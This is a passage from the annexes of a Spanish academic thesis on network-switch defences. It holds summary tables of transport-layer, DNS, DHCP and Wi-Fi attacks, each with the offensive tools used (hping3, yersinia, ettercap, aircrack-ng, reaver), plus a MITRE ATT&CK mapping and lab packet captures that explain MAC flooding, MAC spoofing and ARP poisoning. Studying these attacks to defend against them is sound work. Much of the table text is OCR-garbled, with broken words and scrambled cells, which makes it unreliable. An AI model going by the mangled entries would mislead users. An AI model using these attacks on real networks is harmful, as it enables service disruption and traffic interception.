suplantacion final Inundacion L2 MAC-VLAN- IP Sorce
[36] Puerto Y Implementacion: 3.4.1
Inundacion I
SYN-ACK . L4/13 hping3, No (fuera del objetivo del
Equipo 4 i trabajo: solo nivel L2)
TCP 3 [37],‘ final Inundacion No DoS nemesis, LOIC, No :
Inundacion L3 IP Sorcery Apartado tedrico: 2.3.1.1.3
ACK [38]
Si Si (nuevo)
Reflexion . ., L4/1.2 ) hping3,
4 | Syn-Ack | Fauipo | Suplantacién IP, Asociar IP- DoS nemesis, LOIC, No Apartado tedrico: 0
[39] final Inundacion L2 MAC-VLAN- IP Sorce
Puerto vy Implementacion: 3.4.2
.y Sl’ ’
o | T || oy
5 | LAND [40] o Asociar IP- DoS nemesis, LOIC, Si[16] Apartado teérico: 2.3.1.1.5
final Compatibilidad L2 MAC-VLAN- IP Sorce
regresiva Puerto Ty Implementacion: 3.4.3
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172 Anexo D: Sumario total de ataques
Nivel ; Impl
o ) . . (Implementado
Protocolo | N° Ataque Objetivo Metodologia victima/defensa | ¢Defendible en Consecuencias e en otro (Implementado?
conmutador? ataque 9
Nivel ataque TFG/TFM?
Si .
Reseteo de Equipo Suplantacién IP, L4/L2 i ot (uevo)
6 - quip Confianza de los Asociar [P- DoS netwox, nping No Apartado tedrico: 2.3.1.1.6
conexion [41] final mensajes L2 MAC-VLAN- ‘
Puerto Implementacion: 3.4.4
Si Si (nuevo, no logrado)
o . Suplantacion IP, L4/L2 ) hping3, ’ gr
Tce 7 Predlcqon de | Equipo Compatibilidad Asociar IP- . DOS.’ , nemesis, LOIC, No Apartado tedrico: 0
secuencia [42] final . L2 MAC-VLAN- Inyeccion
regresiva IP Sorcery o
Puerto Implementacion: C.2
; No (fuera del objetivo del
., . L4/1.3 hping3, . :
8 Fragmentacion |- Equipo Fragmentacion No DoS nemesis, LOIC, No trabajo: solo nivel L.2)
TCP [43] [44] final L3 IPS 5ri
orcery Apartado tedrico: 0
Inundacic o L4/13 hp'inng’OIC No (fuera del objetivo del
g | ‘huhdacion quipo Inundacion No DoS femests, ’ Si[16] trabajo: solo nivel L2)
UDP [36] final L3 IP Sorcery, .
UDP Flooder Apartado tedrico: 2.3.2.1.1
L2 Si hping3, Si (nuevo)
UDP | 10| Fraggle4s] | P9wpo | SuplantacionIP, Asociar IP- DoS nemesis, LOIC, No Apartado tebrico: 2.3.2.1.2
final Inundacion L2 IP Sorcery,
MAC-VLAN- .,
Puerto UDP Flooder Implementacion: 3.4.5
; No (fuera del objetivo del
., . L4/1.3 hping3, . :
11 Fragmentacion | Equipo Fragmentacion No DoS nemesis, LOIC, No trabajo: solo nivel L2)
UDP [46] final L3 IP S 51
orcery Apartado tedrico: 2.3.2.1.3

Tabla D-3. Ataques de capa transporte
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Ataques de capa aplicacion

Nivel

. (Defendible Herramientas (Jmplementado
Protocolo | N° Ataque Objetivo | Metodologia | Victima/defensa en Consecuencias R en otro (Implementado?
Nivel ataque conmutador? q TFG/TFM?
No (fuera del objetivo del
i ; L7/L3 . :
1 Inunda[c;;)]n DNS S%‘{\lgor Inundacion No DoS El?ltz}r)cogg)f’ No trabajo: solo nivel L2)
L3 Apartado tedrico: 2.4.1.1.1
PolarDNS, ot
Ataque’dg Servidor . L7/L3 dns-random- Mo (fu;ra‘l el Ob-J etivo del
2 subdominio Inundacion No DoS . No trabajo: solo nivel L2)
. DNS L3 subdomains- _
pseudoaleatorio [58] ddos-attack Apartado tedrico: 2.4.1.1.2
S dnsdrd (adaptado)
. . nsdrdos, Si (adaptado
Amplificacion DNS . ., L7/L2 Asociar IP-
3 | [59], Reflexion DNS Eg‘;go Hs)“frllf‘l?f;;?:n b MAC- DoS, DDoS dnzagggume’ry Si[16] Apartado tebrico: 2.4.1.1.3
DNS [60] \I/)LAN- tsunami Implementacion: 3.5.1
uerto
Supl i S Si (adaptad
uplantacion i (adaptado
Secuestro / Equipo | IP Féjonﬁanza L7/L2 Asociar [P- | Accesoa web (adapiado)
4 | Redireccionamiento final ’ de los > MAC- ilegitimas o ettercap No Apartado tedrico: 2.4.1.1.4
DNS[61] mensajes \II)LAN' malignas Implementacion: 3.5.2
uerto
_ Si
Suplantacion ) A b Si (nuevo)
Envenenamiento de | Equipo | IP, Confianza L7/12 Asociar [P- \CCES0 & WE e
5 la caché [62] final de los - MAC- 11eg1t¥mas 0 ettercap No Apartado tedrico: 2.4.1.1.5
mensajes \I/)LAN- malignas Implementacion: 3.5.3
uerto
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. Nivel (Defendible Herramientas (Implementado
Protocolo | N° Ataque Objetivo | Metodologia | Victima/defensa en Consecuencias R en otro (Implementado?
Nivel ataque conmutador? q TFG/TFM?
6 Ataque Servidor Inundacién L7/L3 No DoS dns-nxdomain- No N?rgl;;r)? S;loofijfglvﬁz()lel
NXDOMAIN [63] DNS L3 flood-attack _
Apartado tedrico: 2.4.1.1.6
L7L3 Parcial dnscat2, Si (nuevo, defensa L3/L4)
i7aci i arcialmente
7 Tunelizacion DNS Equipo Conﬁanza.de Contrgl del .dns.2tcp, nstx, No Apartado tedrico: 2.4.1.1.7
[64] final los mensajes L3 ACLs equipo iodine, TUNS, .
DNS heyoka Implementacion: 5.2.3
Dominio fantasma | Servidor . L7/L3 No (fu;ra‘l del Ob-J etivo del
8 [65] DNS Inundacién No DoS PolarDNS No trabajo: solo nivel L.2)
L3 Apartado tedrico: 2.4.1.1.8
No (fuera del objetivo del
. L7/L3 Defender ; -
9 | Flujo répido [66] Eg‘rllg;o i)osnrgzﬁzzjgs No dominios - No trabajo: solo nivel L2)
L3 malignos Apartado tedrico: 2.4.1.1.9
L2 Si DHCPig, Si (adaptado)
DHCP Flooding/ | Servidor | Confianza de Limitar yersinia, ] e
10 Starvation [67] DHCP los mensajes - r4fieo DHCP DoS DHCPwn, The Si[6] Apartado teoncto. 2.42.1.1
seglin puerto Gobbler Implementacion: 3.5.4
DHCP
Servidor L7L2 Si DoS, yersinia Si (adaptado)
11 | DHCP Spoofing [68] | Dot | Sonfiansade Limitar | COMIBUACION | ooy Ghost | Sif6][16] | Apartadoteorico: 2.4.2.12
quipo | los mensajes L2 trafico DHCP | del equipo Phisher '
final segln puerto victima Implementacion: 5.2.1.1
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Ataques sobre cifrados Wi-Fi

Nivel

. ) . . (Jmplementado
Cifrado N° Ataque Objetivo | Metodologia | Victima/defensa ‘g}‘ﬁﬁgﬁ;ﬂ Consecuencias Hzgz?ale:ll;as en otro (Implementado?
Nivel ataque ' a TFG/TEM?
Si (adaptado)
Fa}sa . Compatibilidad L2/12 Si Vinculacion armon-ne, , Apartado tedrico:
1 autenticacion AP regresiva ilegitima airodump-ng, Si[70] 25111
[79] L2 No usar WEP aireplay-ng D11
Implementacion: 4.2.1
Si (adaptado)
ibili L2/1.2 Si ; i ; L
2 | ChopChop [80] AP Corrr;patlbllldad Forja de airmon flg, Si [70] Apartado tedrico:
gresiva L2 No usar WEP paquetes aireplay-ng 25.1.12
Implementacion: 4.2.2
Si (adaptado)
Fragmentacion Compatibilidad L2/L2 Si Forja de airmon-ng, . Apartado tedrico:
WEP 3 AP . . } Si[69] [70]
[81] regresiva 1) No usar WEP paquetes aireplay-ng 25.1.13
Implementacion: 4.2.3
Si (adaptado)
AP, R 1L2/1.2 Si .y _ L
o | mcsini) | o | il msin e | e | sy | A o
final gt L2 No usar WEP paq g, arreplay-ng -1
Implementacion: 4.2.4
Si (ampliado)
PTW [72], o L2/L2 Sf airmon-ng, e
5 Korek [83]y AP COTpatlbiﬂ;dad Accesoalared | airodump-ng, Si[69][70] Ap aztasdcl) tle(;rlco.
FMS [84] CBresty L2 No usar WEP aircrack-ng T

Implementacion: 4.2.5
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176 Anexo D: Sumario total de ataques
- Nivel ;Defendible en Herramientas szl
Cifrado N° Ataque Objetivo | Metodologia | Victima/defensa < Consecuencias en otro (Implementado?
conmutador? de ataque
Nivel ataque TFG/TFM?
Beck & Tews’ Funcionalidades Lo/ Si kiptun-ng Si (nuevo, no logrado)
6 | improved attack AP adicionales, Eliminar QoS, no Inyeccion de (herramienta No Apartado tedrico:
Compeatibilidad L2 paquetes . . 2521.1
[85] . WPA sin finalizar)
regresiva usar ,
Implementacion: C.3
WPA Aaque | AP oo atibilidad | L2/L2 si Inyeccion de No (sin herramientas)
7 | Ohigashi-Morii | Equipo reoresiva paquetes, - No Apartado tebrico:
[86] final gresiv L2 No usar WPA MitM
25212
. No (sin h ient
3 Ataque Michael AP Compatibilidad L2/12 Si Inyeccion de i No o (sm erraml.en 2s)
[87] regresiva L2 No usar WPA paquetes Apartado tedrico:
25213
S Si (adaptado, no
1 logrado)
; ionali L2/1.2 . -
9 | KRACK[sg] | Fauipo | Funcionalidades No reenviar MitM krackattacks- | ;601 1701 Apartado tedrico:
final adicionales L2 mensajes del scripts 25311
handshake T
WPA2 Implementacion: C.4
Si .
Funcionalidades " hexdumptool i (adaptado)
Ataque PMKID adicionales, L No habilitar ; , Apartado tedrico:
10 [89] AP Contrasciias - funciones roaming, Acceso alared | hexpeapngtool, | Si[69] [70] 25310
débiles uso de contrasefias hashcat B
robustas Implementacion: 4.2.6
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o~ Nivel ;Defendible en Herramientas AT S
Protocolo Ne° Ataque Objetivo Metodologia victima/defensa 6 Consecuencias en otro (Implementado?
i conmutador? de ataque o
Nivel ataque TFG/TFM?
Transicion Compatibilidad St No (herramientas en
WPA?E regresiva L2/L2 No permitir dragonforce desarrollo)
WPA3 11 | degradaciony AP Iy retrocompatibilidad | Accesoalared | (herramienta No .
ataque de Contrasefias L2 y uso de claves sin finalizar) Apartado tedrico:
diccionario [90] dcbiles st 25411
Degradacién del Si d | No (herramientas en
egradacion de o L2/L2 . ragonslayer desarrollo
12 grupo de AP Corrxépagsl:;i};dad No permitir usode | Acceso a la red (herramienta No ) ).
seguridad [90] gr L2 grupos de . sin finalizar) Apartado tedrico:
seguridad débiles 25412
A d Si No (herramientas en
taque de S )
13 obs trlcllcci(')n a AP Compatlblhdad L2/12 Implementar DoS dragqndraln No desarrollo)
WPA3 [90] regresiva L2 mecanismos de (experimental) Apartado tedrico:
deteccion 25413
WPAS A Sid Si ( dragpntimel) No (herramientas en
taque Side- ibili L2/1.2 » experimental), desarrollo)
14 | Channel basado AP Compatibilidad No permitir usode | Accesoalared | dragonforce No o
en tiempo [90] fegresiva L2 grupos de (herramienta Apartado tedrico:
seguridad débiles sin finalizar) 254.14
No (sin defensa L2,
Ataque Side- Factor dragonforce herramientas en
15 | Channel basado AP Phishing humano No Accesoalared | (herramienta No desarrollo)
en caché [90] sin finalizar) Apartado tedrico:
254.1.5
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Anexo D: Sumario total de ataques

Nivel

- ;Defendible en Herramientas szl
Protocolo N° Ataque Objetivo | Metodologia | Victima/defensa < Consecuencias en otro (Implementado?
i conmutador? de ataque o
Nivel ataque TFG/TFM?
Ataque de . S Si (adaptado)
. fuerza Contrasefias L2/L airmon-ng, , Apartado tedrico:
Multiprotocolo | 16 | o diccionario | AT débiles 12 Uso de ;ontrasenas Accesoa lared wifite SO [70] 2551
robustas
(Todos) [91] Implementacion: 4.2.7
No (fuera del objetivo
Evil fluxion, del trabajo: solo nivel
17| Twin/Phishing AP Phishing hi?li;(;fo No Accesoalared | EAPHammer, Si [70] L2)
(Todos) [92] weeman, SET Apartado tedrico:
2552
Si (ampliado)
Ataque sobre . . : . .
Multiprotocolo | 13 WP% (WPA AP Funqo.nahdades L2/12 Si Acceso a la red airmon-ng, Si [69] [70] Apartado tedrico:
WPA2) [93]’ adicionales L2 Deshabilitar WPS wash, reaver 2553
Implementacion: 4.2.8
) Si (adaptado)
19 | Hole 196 (WPA, | Equipo Fu;c(iziic()ir;l;?;des L2 : S-l MitM etterca Si[70] Apartado teorico:
WPA2) [94] final S L2 Aislamiento de p 2554
Suplantacion IP clientes

Implementacion: 4.2.9

Tabla D-5. Ataques sobre cifrados Wi-Fi
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ANEXO E: CARACTERIZACION DE LOS ATAQUES BAJO MATRIZ MITRE

A continuacion, los ataques recogidos en las tablas anteriores se presentan siguiendo la categorizacion de ataques de MITRE ATT&CK®[100]. Adicionalmente, esta tabla
y los ficheros PCAP son accesibles a través del repositorio Github [106]. Tras la tabla, se incluye un subapartado por cada fichero PCAP validando su contenido e
incluyendo una breve descripcion con los aspectos mas relevantes de esta.

A o ID de la - ID de la _— Herramientas '
Tactica Teécnica técnica Subtecnica Subtécnica Ataque Caracteristicas empleadas Fichero PCAP
. . . Tabla D-1
Discovery Network Sniffing T1040 - - Inundacion MAC Ataque 1 macof T1040_mac_flood.pcapng
Impact Endpoint Denial of Service | T1499 - - Suplantaciéon MAC Tabla D-1 ip T1499 mac_spoof.pcapng
Ataque 2 (configuracion) — = :
. . . ARP Cache . Tabla D-1
Collection Adversary-in-the-middle | T1557 Poisoning T1557.002 | Suplantacion ARP Ataque 3 arpspoof T1557 arp spoof.pcapng
) ip
Defe_n s€ Networl.( B.O undary T1599 - - Salto de VLAN Tabla D-1 (configuracion) T1599 salto vlan.pcapng
evasion Bridging Ataque 4 ho - =
ping3
. . Inundacién de Tabla D-1 .
Impact Network Denial of Service | T1498 - - TCBPDU Ataque 5 yersinia T1498 tcbpdu.pcapng
. . . Suplantacién del Tabla D-1 . .
Collection Adversary-in-the-middle | T1557 - - puente raiz Ataque 6 yersinia T1557 puente raiz.pcapng
Reconnaissance Gather Victim _Network T1590 | IP Addresses | T1590.005 IP Spoofing Tabla D-2 - . § iy
Information Ataque 1 (Implicito en ataques con suplantacion IP)
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180 Anexo E: Caracterizacion de los ataques bajo matriz MITRE
Impact Network Denial of Service | T1498 Direcl;tlggéwork T1498.001 | Fragmentacion IP T:g;‘ule}zz - (Fuera del objetivo del’ trabajor solo nivel L2)
Impact Network Denial of Service | T1498 Direcl;tllglséwork T1498.001 | Inundacién ping 1:2?:332 - (Fuera del objetivo del’ trabajor: solo nivel L2)
Impact Network Denial of Service | T1498 AE(:)ﬁlii?é;?ir;n T1498.002 Smurf %gsugf hping3 T1498 smurf.pcapng

Collection Adversary-in-the-middle | T1557 - - Redireccion Ifgﬁu]e)'sz ‘;tteir;iz’ T1557 redireccion.pcapng
Impact Network Denial of Service | T1498 Direcl;tll(\)lsctjwork T1498.001 Frag%uel;ﬁa{cién T:thSuIe)g ) (Fuera del objetivo del- trabajo: solo nivel L.2)
Impact Network Denial of Service | T1498 Direcl;tlyoeéwork T1498.001 Ping of death 1:5&372 - (Fuera del objetivo del' trabajos: solo nivel L2)
Impact Network Denial of Service | T1498 Direcl;tlggctjwork T1498.001 Blacknurse Izgﬁu]zg - (Fuera del objetivo del' trabajos: solo nivel L2)
Impact Endpoint Denial of Service | T1499 OS E;(II;?)léstion T1499.001 Source Quench Tftb;;ule)-; - (Ataque n;) logrado)

Impact Endpoint Denial of Service | T1499 S Eégiléstion T1499.001 | Inundacién SYN 1:211;1313 - (Fuera del objetivo del' trabajos: solo nivel L2)
Impact | Endpoint Denial of Service | T1499 | ©° EFXIZ%S“O” T1499.001 'C’;‘:]”guasli:r’& im T:glc"i‘ule)f hping3 T1499 syn suplantacion.pcapng
Impact | Endpoint Denial of Service | T1499 | ©° EFXIE‘E‘)‘(;S“O” T1499.001 x]érlfaljgﬂdsa;’(\:n T:g;‘ule)g’ i e el obetiv e b solomivel 12
Impact | Endpoint Denial of Service | T1499 | ©° EFXIZ"(")‘QS“O” T1499.001 Ref'eﬁg?(SYN‘ T;‘g:uzf hping3 T1499 reflexion_synack.pcapng
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A ,. ID de la . ID de la o Herramientas .
Téctica Técnica B Subtécnica SiliBaiE Ataque Caracteristicas empleadas Fichero PCAP
. . . OS Exhaustion Tabla D-3 .
Impact Endpoint Denial of Service | T1499 Flood T1499.001 LAND Ataque 5 hping3 T1499 land.pcapng
. . . ., Tabla D-3 ettercap,
Impact Endpoint Denial of Service | T1499 - - Reseteo de conexion Ataque 6 netwox, nping T1499 reseteo.pcapng
Command and Lo Prediccion de Tabla D-3 -
Control Content Injection T1659 ) i secuencia Ataque 7 i (Ataque no logrado)
. . Direct Network L Tabla D-3 -
Impact Network Denial of Service | T1498 Flood T1498.001 | Fragmentacion TCP Ataque 8 - (Fuera del objetivo del trabajos: solo nivel L2)
. . Direct Network L Tabla D-3 -
Impact Network Denial of Service | T1498 Flood T1498.001 | Inundacién UDP Ataque 9 - (Fuera del objetivo del trabajo: solo nivel L2)
. . Reflection Tabla D-3 .
Impact Network Denial of Service | T1498 Amplification T1498.002 Fraggle Ataque 10 hping3 T1498 fraggle.pcapng
. . Direct Network L Tabla D-3 -
Impact Network Denial of Service | T1498 Flood T1498.001 | Fragmentacion UDP Ataque 11 - (Fuera del objetivo del trabajos: solo nivel L2)
Service Tabla D-4
Impact Endpoint Denial of Service | T1499 Exhaustion | T1499.002 | Inundacion DNS - T .
Flood Ataque 1 (Fuera del objetivo del trabajo: solo nivel L.2)
Service Ataque de Tabla D4
Impact Endpoint Denial of Service | T1499 Exhaustion | T1499.002 subdominio - e .
. Ataque 2 (Fuera del objetivo del trabajo: solo nivel L2)
Flood pseudoaleatorio
. . Reflection Amplificacion / Tabla D-4 .
Impact Network Denial of Service | T1498 Amplification T1498.002 Reflexion DNS Ataque 3 dnsdrdos T1498 amplif dns.pcapng
Resource Secuestro / Tabla D-4
Compromise Infrastructure | T1584 | DNS Server | T1584.002 | Redireccionamiento ettercap T1584 secuestro_dns.pcapng
Development Ataque 4 - -

DNS
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182 Anexo E: Caracterizacion de los ataques bajo matriz MITRE
- . ID de la — ID de la - Herramientas .
Tactica Técnica T Subtécnica SIliEaiE Ataque Caracteristicas empleadas Fichero PCAP
Resource . Envenenamiento de Tabla D-4
Development Compromise Infrastructure | T1584 | DNS Server | T1584.002 la caché DNS Ataque 5 ettercap T1584 cache dns.pcapng
Service
. . . - Ataque Tabla D-4 -
Impact Endpoint Denial of Service | T1499 EXII’;IaéJOS(thOﬂ T1499.002 NXDOMAIN Ataque 6 ) (Fuera del objetivo del trabajo: solo nivel L2)
Command and — o Tabla D-4
Control Application Layer Protocol | T1071 DNS T1071.004 | Tunelizacion DNS Ataque 7 dnscat2 T1071_tunel.pcapng
Service Tabla D-4
Impact Endpoint Denial of Service | T1499 Exhaustion | T1499.002 | Dominio fantasma - e .
Flood Ataque 8 (Fuera del objetivo del trabajo: solo nivel L2)
Command and . . S Tabla D-4 -
Control Dynamic Resolution T1568 | Fast Flux DNS | T1568.001 Flujo rapido Ataque 9 - (Fuera del objetivo del trabajo: solo nivel L2)
Service .
Impact Endpoint Denial of Service | T1499 Exhaustion | T1499.002 DHCP Floc_)dmg / Tabla D-4 DHCPig T1499 dhep flood.pcapng
Elood Starvation Ataque 10
DHCPig,
Collection Adversary-in-the-middle | T1557 DHC.P T1557.003| DHCP Spoofing Tabla D-4 servidor T1557 dhcp_spoofing.pcapng
Spoofing Ataque 11
DHCP
Credential Network Sniffing T1040 - - Falsa autenticacion Tabla D-5 . Suite T1040 autenticacion.pcapng
Access Ataque 1 aircrack-ng
. - Tabla D-5 Suite
Discovery Network Sniffing T1040 - - ChopChop Ataque 2 aircrack-ng T1040_chopchop.pcapng
. . ., Tabla D-5 Suite .
Discovery Network Sniffing T1040 - - Fragmentacion Ataque 3 aircrack-ng T1040_fragmentacion.pcapng
. — . Tabla D-5 Suite . .
Initial Access Content Injection T1659 - - Inyeccion Ataque 4 aircrack-ng T1659 inyeccion.pcapng
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A ,. ID de la . ID de la o Herramientas .
Téctica Técnica B Subtécnica SiliBaiE Ataque Caracteristicas empleadas Fichero PCAP
Credential Password Tabla D-5 Suite
Access Brute Force T1110 Cracking T1110.002 | PTW/KoreK/FMS Ataque 5 aircrack-ng T1110_ptw_korek.pcapng
.. — Beck&Tews' Tabla D-5 -
Initial Access Content Injection T1659 - - improved attack Ataque 6 - (Ataque no logrado)
. — Ataque Ohigashi- Tabla D-5 -
Initial Access Content Injection T1659 ) i Morii Ataque 7 ) (Sin herramientas disponibles)
.. I . Tabla D-5 -
Initial Access Content Injection T1659 - - Ataque Michael Ataque 8 - (Sin herramientas disponibles)
. - Tabla D-5 -
Discovery Network Sniffing T1040 - - KRACK Ataque 9 - (Ataque no logrado)
. hashcat,
Credential Brute Force 71110 | PESWOd 11400002 |  Atagque PMKID | LEPRAD-S o apngtool, T1110_pmkid.pcapng
Access Cracking Ataque 10
hexdumptool
Credential Password . Tabla D-5 -
AcCess Brute Force T1110 Cracking T1110.002 | Transicion WPA3 Ataque 11 - (Herramientas en desarrollo)
Credential Password Degradacion del Tabla D-5 -
Access Brute Force T1110 Cracking T1110.002 grupo de seguridad Ataque 12 i (Herramientas en desarrollo)
. . . OS Exhaustion Ataque de Tabla D-5 -
Impact Endpoint Denial of Service | T1499 Flood T1499.001 obstruccion a WPA3 | Ataque 13 - (Herramientas en desarrollo)
. Ataque Side-
Credential Brute Force T1110 Passwprd T1110.002 | Channel basado en Tabla D-5 - o
Access Cracklng tiempo Ataque 14 (Herramientas en desarrollo)
. Ataque Side-
Credential Brute Force T1110 Passwprd T1110.002 | Channel basado en Tabla D-5 - o
Access Cracklng caché Ataque 15 (Herramientas en desarrollo)
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184 Anexo E: Caracterizacion de los ataques bajo matriz MITRE
o _r ID de la P ID de la - Herramientas .
Tactica Técnica T Subtécnica SIliEaiE Ataque Caracteristicas empleadas Fichero PCAP
Credential Ataque de fuerza Tabla D-5 . C
ACCess Brute Force T1110 - - bruta/diccionario Ataque 16 wifite T1110_diccionario.pcapng
o - Spearphishing e Tabla D-5 -
Initial Access Phishing T1566 via Service T1566.003 | Bvil twin/phishing Ataque 17 i (Fuera del objetivo del trabajo: solo nivel L2)
Credential Password Tabla D-5
Access Brute Force T1110 Guessing T1110.001 | Ataque sobre WPS Ataque 18 wash, reaver T1110_wps.pcapng
. . . ARP Cache Tabla D-5
Collection Adversary-in-the-middle | T1557 Poisoning T1557.002 Hole 196 Ataque 19 ettercap T1557 hole196.pcapng
Tabla E-1. Ataques clasificados segun categorizacion MITRE ATT&CK
Ataques por tactica y técnica de ataques logrados segtin clasificacion MITRE
W Ataques L2 m Ataques no L2 (L7)
0 1 2 3 14 5 6

Impact — Endpoint DoS

Collection — Adversary-in-the-Middle

Impact — Network DoS

Credential Access — Brute force

Discovery — Network Sniffing

Resource Development — Compromise Infrastructure
Defense Evasion — Network Boundary Bridging
Credential Access — Network Sniffing

Initial Access — Content Injection

Reconnaissance — Gather Victim Network Information

Command and Control — Application Layer Protocol

Figura E-1. Distribucion de los ataques logrados segun clasificacion MITRE
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E.1 Inundacion MAC

1 0.000000 205.187.128.53 149.156.223.124 IPv4 54

2 0.000022 46.162.39.41 166.146.123.57 IPv4 54
3 0.000045 223.61.182.117 103.25.104.49 IPv4 54
4 0.000067 72.173.39.18 69.35.15.5 IPv4 54
5 0.000089 177.57.99.44 246.22.150.7 IPva 54

Frame 1: 54 bytes on wire (432 bits), 54 bytes captured 4 its)
Ethernet II, Src: 12:15:b8:2e:cf:0f (12:15:b8:2e:cf:0f), ) Dst: ASUSTekC ee:7c:0b (48:5b:39:ee:7c:0b]
Internet Protocol Version 4, Src: 205.187.128.53, Dst: 149.156.223.124

Figura E-2. Trafico generado por el atacante con su propia direccion MAC destino

El atacante envia una gran cantidad de mensajes IP con direcciones aleatorias salvo la MAC destino, que se
corresponde con la suya propia. De esta forma, la tabla MAC del conmutador es saturada por el aprendizaje
constante de nuevas direcciones MAC que llegan por el puerto del atacante. Al estar completa con direcciones
falsas, cuando el cliente solicita el contenido de la pagina web alojada en el servidor ‘S’ el conmutador inunda
los puertos con sus mensajes ya que no hay una entrada en la tabla MAC que coincida. De igual forma, las
respuestas del servidor, son difundidas por todos los puertos por la misma razén. Antes de que el conmutador
pueda liberar las entradas antiguas y aprender las nuevas, el atacante recibe toda la comunicacion entre ‘C’ y ‘S’
gracias a la difusion de sus mensajes.

AVDOL U DO/ T LD LENW L£DD 4 £1D 00 NN LD LAD DV AFV*™ %

10663 0.567950410.10.1.9 10.10.1.2 TCP | 74 40201 ~ 80 [SYN] Seq=3899188465 Win=29200 Len«0 MSS=1460

10664 0.568150410.10.1.2 10.10.1.9 TCP | 7480 » 40201 [SYN, ACK] Seq=1001801525 Ack=3899188466 Win=

10665 0.568151410.10.1.9 10.10.1.2 TCP | 66 40201 + 80 [ACK] Seq=3899188466 Ack=1001801526 Win=29312
+ 10666 0.568355410.10.1.9 10.10.1.2 HTTP 139 GET / HTTP/1.1

10667 0.568355410.10.1.2 10.10.1.9 TCP | 66 80 + 40201 [ACK] Seq~1001801526 Ack~3899188539 Win»29056

10668 0.569028410.10.1.2 10.10.1.9 HITP }46}1179/1.1 200 0K  (text/html) .

10669 0.569141 146.214.172.2 64.210.128.21 IPva 54
10A70 A KRA1TA RA 2A7 3R 79 RO 172G 121 113 TOv4 84

Frame 10668: 346 bytes on wire (2768 bits), 346 bytes captured (2768 bits)

Ethernet II, Src: ASUSTekC ef:22:2d (48:5b:39:ef:22:2d), Dst: ASUSTekC cc:a7:12 (48:5b:39:cc:a7:12)

Internet Protocol Version 4, Src: 10.10.1.2, Dst: 10.10.1.9

Transmission Control Protocol, Src Port: 88, Dst Port: 40201, Seq: 1001801526, Ack: 3899188539, Len: 280
ertext Transfer Proto 5 |

ine-based text data: text/html (1 lines)

Web del servidor S\n

Figura E-3. Intercepcion del trafico TCP/HTTP tras inundacion MAC
E.2 Suplantacion MAC

14 5.003018 ASUSTekC cc:a7:12 ASUSTekC ef:22:2d ARP J60 Who has 18.10.1.67 Tell 10.18.1.9
15 5.003037 ASUSTekC_ef:22:2d ASUSTekC cc:a7:12 ARP 42 10.10.1.6 is at 48:5b:39:¢f:22:2d

16 5.125307 10.10.1.6 10.10.1.9 ICMP 93 Echo (ping) request 1debxecYs, seq=6/1536, ttl«64 (reply in 17)
17 5.125401 10.10.1.9 106.10.1.6 ICMP 98 Echo (ping) reply id«0xec98, seqe6/1536, ttl«64 (request in 16)
18 6.149312 10.10.1.6 10.10.1.9 ICMP 98 Echo (ping) request id-Bxec98, seq=7/1792, ttl«64 (reply in 19)
19 6.149414 10.10.1.9 10.10.1.6 ICMP 98 Echo (ping) reply id=Oxec98, seq=7/1792, ttl=64 (request in 18)
20 7.173309 10.10.1.6 10.10.1.9 ICMP 98 Echo (ping) request 1id=0xec98, seq=8/2048, ttl=64 (reply in 21)

Figura E-4. Mensajes ARP con la direccion MAC del servidor suplantada

Sabiendo la direccion MAC del servidor, el atacante puede modificar su propia direccion MAC por la de ‘S’.
Estableciendo una comunicacion constante con el cliente, el conmutador asocia en su tabla MAC la direccion
suplantada al puerto del atacante en lugar del puerto legitimo del servidor. El cliente, que guarda en su tabla
ARP la direccion IP y su direccion MAC (que ahora también identifica al atacante), si intentase establecer una
nueva conexion con ‘S’, no obtendria respuesta (Figura E-5). El atacante recibe las peticiones ARP del cliente
con destino al servidor, las cuales son ignoradas, y el conmutador no las reenvia por el puerto de ‘S’ ya que es
el puerto de ‘A’ el que tiene asociado.
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e e e A —ms e e
40 16.794_ ASUSTekC cc:a7:12 ASUSTekC ef:22:2d AR 60 Who has 10.10.1.2? Tell 10.10.1.9
41 16.933_ feB0::4a5b:39Ff:_ ff02::2 ICM. 70 Router Solicitation from 48:5b:39:ef:22:2d
42 17.413_ 10.10.1.6 10.10.1.9 ICMP 98 Echo (ping) request 1d=0xec98, seq=18/4608, ttl=64 (reply in 43)
4317.413_ 10.10.1.9 10.10.1.6 I 98 Echo (ping) reply  id=@xec98, seq=18/4608, ttl=64 (request in 42)
44 17.796 ASUSTekC cc:a7:12 ASUSTekC ef:22:2d ARP 60 Who has 10.10.1.22 Tell 18.10.1.9
45 18.437_ 10.10.1.6 10.10.1.9 ICMP 98 Echo (ping) request id=@xec98, seq=19/4864, ttl=64 (reply in 456)
46 18.437_ 10.10.1.9 10.10.1.6 ICMP 98 Echo (ping) reply id=0xec98, seq=19/4864, ttl=64 (request in 45)
47 18.798_ ASUSTekC cc:a7:12 ASUSTekC ef:22:2d ARP 60 Who has 10.10.1.2? Tell 10.10.1.9
48 19.461_ 10.10.1.6 10.10.1.9 ICMP 98 Echo (ping) request 10=0xec98, seq=20/5120, ttl=64 (reply in 49)

Figura E-5. Cliente intentando comunicarse con el servidor

E.3 Suplantacion ARP

7 1.021685 ASUSTekC ee:7c:@b ASUSTekC ef:22:2d ARP  42[10.10.1.9 1s at 48:5D:39:ee:/c:0D
8 1.021708 ASUSTekC_ee:7c:0b ASUSTekC cc:a7:12 ARP  42§10.10.1.2 is at 48:5b:39:ee:7c:0b
9 2.031907 ASUSTekC ee:7c:0b ASUSTekC ef:22:2d ARP  42]10.10.1.9 is at 48:5b:39:ee:7c:0b
10 2.931936 ASUSTek(C ee:7c:0b ASUSTekC cc:a7:12 ARP 42110.10.1.2 is at 48:5b:39:ee:7c:0b
12 3.042142 ASUSTekC _ee:7c:0b ASUSTekC ef:22:2d ARP  42]10.10.1.9 is at 48:5b:39:ee:7c:0b)
13 3.042171 ASUSTekC ee:7c:8b ASUSTekC cc:a7:12 ARP  42]10.10.1.2 is at 48:5b:39:ee:7c:0b

Figura E-6. Mensajes ARP de respuesta para el envenenamiento de las tablas ARP de ‘C’y ‘S’

El atacante envia respuestas ARP al cliente asociando su propia direccion MAC a la direccion IP del servidor;
paralelamente, envia estos mensajes al servidor, pero con la direccion IP del cliente. Esta informacion es
guardada en las tablas ARP respectivas del servidor y del cliente, completandose la suplantacion o
envenenamiento ARP. Si el atacante activa su funcion de reenvio IP, ‘A’ se convierte en el nexo de la
comunicacion entre el cliente y el servidor. En la Figura E-7, se puede observar como las peticiones ICMP Echo
son reenviadas hacia el servidor (recuadro rojo) y las respuestas hacia el cliente (recuadro azul), confirmandose
el MitM logrado por el atacante.

TChp

ARP
ee:7c:0b ARP

ICMP

16 3.801478
17 3.801485 10.10.1.9 10.10.1.2

10.10.1.9 Icve
ARP

